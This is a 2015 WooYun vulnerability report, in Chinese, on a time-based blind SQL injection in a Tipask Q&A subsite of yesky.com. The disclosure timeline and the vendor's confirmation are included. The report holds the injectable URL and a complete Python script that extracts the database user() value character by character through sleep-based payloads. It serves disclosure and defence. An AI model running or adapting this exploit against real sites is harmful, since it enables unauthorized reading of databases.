当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098396

漏洞标题:天极网某分站存在SQL盲注漏洞

相关厂商:天极传媒集团

漏洞作者: loopx9

提交时间:2015-02-26 14:28

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-26: 细节已通知厂商并且等待厂商处理中
2015-02-26: 厂商已经确认,细节仅向厂商公开
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

sql盲注.(附验证脚本)

详细说明:

WooYun: Tipask问答系统12个注射打包 的一个案例:
url:

http://product.yesky.com/wenda/index.php?question/ajaxgood/sleep(1)/

漏洞证明:

测试脚本:

#coding=utf-8 
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
import time
result=''
def request(URL):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req,timeout=4)

except Exception ,e:
time.sleep(2)
return 'timeout'

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
result += chr(mid)
print result
break
payload = "if(ascii(substring(user(),"+str(index)+",1))<"+str(mid)+",1,sleep(2))"
html = request('http://product.yesky.com/wenda/index.php?question/ajaxgood/'+payload+'/')
verify = 'timeout'
if verify not in html:
right = mid
else:
left = mid

if __name__ == '__main__':
for i in range(1,50):
binary_sqli(32, 127, i)


读取user():

1.png

修复方案:

过滤。
这个问答系统注入很多的。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-02-26 14:41

厂商回复:

新年好,非常感谢您对我们网站安全工作的关注,非常感谢。

最新状态:

暂无